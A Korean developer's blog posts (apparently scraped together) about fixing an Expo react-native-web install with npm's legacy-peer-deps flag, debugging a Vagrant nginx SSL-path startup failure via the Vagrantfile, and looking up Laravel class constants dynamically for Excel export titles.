To use the local CLI instead (recommended in SDK 46 and higher), run:
› npx expo start

Starting project at C:\web_developer\react-native\rn2
"react-native-web" is added as a dependency in your project's package.json but it doesn't seem to be installed. Please run "yarn" or "npm install" to fix this issue.

npm install 치는데 안먹혀서 아래 명령어로 해결

npm install --legacy-peer-deps

이제 expo start 하면 아래와 같이 정상적으로 실행이 되는데 이건 그 expo 앱 연동해서 데스크탑이랑 모바일에서 같은 네트워크 , 같은 공유기 썻을때 확인할 수 있는거고 나는 pc 웹페이지 에서 바로 띄워서 보고싶으니깐

다시 expo start -w 로 실행했는데

아까 react-dom 깔았는데 왜이러는지 -- ;;
package.json 에도 이상없이 잘 들어가있는데 ..

여튼 npm install 했는데 위 처럼 또 에러 뜨길래 또 강제로 npm install --legacy-peer-deps 쳐서 install 하고 난 후에

expo start -w 하니까 잘 띄워진다.
왜 이리 찜찜한건데 ~

[Vagrant] linux nginx 실행 지속실패

월공 — Fri, 15 Jul 2022 10:14:28 +0900

nginx 실행시 계속 지속적인 에러 발생

-- Unit nginx.service has begun starting up.
Jul 15 10:06:08 rocky8.localdomain nginx[3604]: nginx: [emerg] BIO_new_file("/vagrant/MyProject/web/config/ssl/star.site.co.kr.pem") failed (SSL: error:02001002:system library:fopen:No such file or directory:fopen('/vagrant/Bl>
Jul 15 10:06:08 rocky8.localdomain nginx[3604]: nginx: configuration file /etc/nginx/nginx.conf test failed
Jul 15 10:06:08 rocky8.localdomain systemd[1]: nginx.service: Control process exited, code=exited status=1
Jul 15 10:06:08 rocky8.localdomain systemd[1]: nginx.service: Failed with result 'exit-code'.
-- Subject: Unit failed
-- Defined-By: systemd
-- Support: https://lists.freedesktop.org/mailman/listinfo/systemd-devel
--
-- The unit nginx.service has entered the 'failed' state with result 'exit-code'.
Jul 15 10:06:08 rocky8.localdomain systemd[1]: Failed to start The nginx HTTP and reverse proxy server.
-- Subject: Unit nginx.service has failed
-- Defined-By: systemd
-- Support: https://lists.freedesktop.org/mailman/listinfo/systemd-devel
--
-- Unit nginx.service has failed.

vagrant 참 죽같다
도커가 보고싶어서 죽을 지경 ;

어이가 없는게 , 컴퓨터 재부팅하고나서 이런 웃픈 에러가 발생한다 전날까지만 해도 잘됐다가

사실 아예 다 잘된건 아니고 , 초기에 시작할때 무한로딩이 걸려서 버츄얼박스에서 일부러 끄고나서 다시 reload 해줘야하는 번거로움이 있긴한데 여튼 vagrant 쓰기싫은데 지금 회사에서 쓰니 어쩔수가있냐 ..

여튼 해당 문제에 해결법은 ssl pem 파일을 찾을수없다고 뜨는데 vagrant 문제라고 확실히 지은 이유는
원래 아래처럼 vagrant ssh 접속해서

cd /vagrant 를치면 저렇게 연동된 폴더들이 나와야 정상인데 아무것도 안뜨더라

결국은 vagrantfile 기존에 백업해놓은걸로 덮어씌워서 해결함 ;

VAGRANTFILE_API_VERSION = "2"

Vagrant.configure(VAGRANTFILE_API_VERSION) do |config|
  config.vm.box = "generic/rocky8"
  config.vbguest.auto_update = false
  config.vm.network "private_network", ip: "192.168.33.16"
  config.vm.synced_folder "./", "/vagrant", type:"virtualbox"

  config.vm.provision "shell", run: "always" do |s|
    s.inline = "systemctl $1 $2"
    s.args   = ["start","nginx"]
  end

end

vagrantfile 내용이 바껴있던데 왜 바꼇을까 .. git 으로 덮어씌운적도 없는데
git RollBack 되서 그런걸까 싶기도하고 .. 아마 이부분이 제일 가능성 클수도 근데 그걸 다 떠나서 vagrant 맘에 안듬

일단 vagrantfile은 git과 무관하게끔 조정하자 (예전에 했었는데 ..)
git update-index --assume-unchanged Vagrantfile

[Laravel] 다른 클래스의 상수 , 변수 합치기

월공 — Thu, 26 May 2022 10:50:47 +0900

게시판의 엑셀다운로드를 진행한다했을때 엑셀 다운이 되는 게시판은 무궁무진하게 많다.
그걸 일일히 elseif 처리를 방지하고자 타 디렉토리에 상수로 아래처럼 선언해두고 최대한 이용한다.

class ExcelType
{
    const TYPE_MEMBER = '회원내역';
    const TYPE_ORDER = '주문내역';
    const TYPE_CARD = '장바구니내역';
}

예를들어 엑셀다운 기능이 아래처럼 호출이 된다 가정했을때 ($data 는 그냥 select 해서 가져온 엑셀로 뽑아야하는 list)
MEMBER 라는놈에 맞게 선언된 "회원내역" 의 타이틀을 달고 엑셀파일에 박혀서 나와야한다.

Excel::get()->down($data,'MEMBER');

...생략

class Excel extends StaticClass {

	public function down ($data,$type){    
    	$title = constant(ExcelType::class.'::TYPE_'.$type);
        
        ...생략
    }
    
    ... 생략
}

위 처럼 해주면 $title 에 "회원내역" 이 잘 출력된다.

변수끼리 합치는건 늘 하던일이라 , 이번엔 또 타 클래스에 있는 상수와 변수를 합치는거라 나름 흥미로웠다.
1시간동안 삽질한건 안비밀
아래는 실패했던 내역 ㅋㅋㅋㅋㅋㅋ 기념샷 ..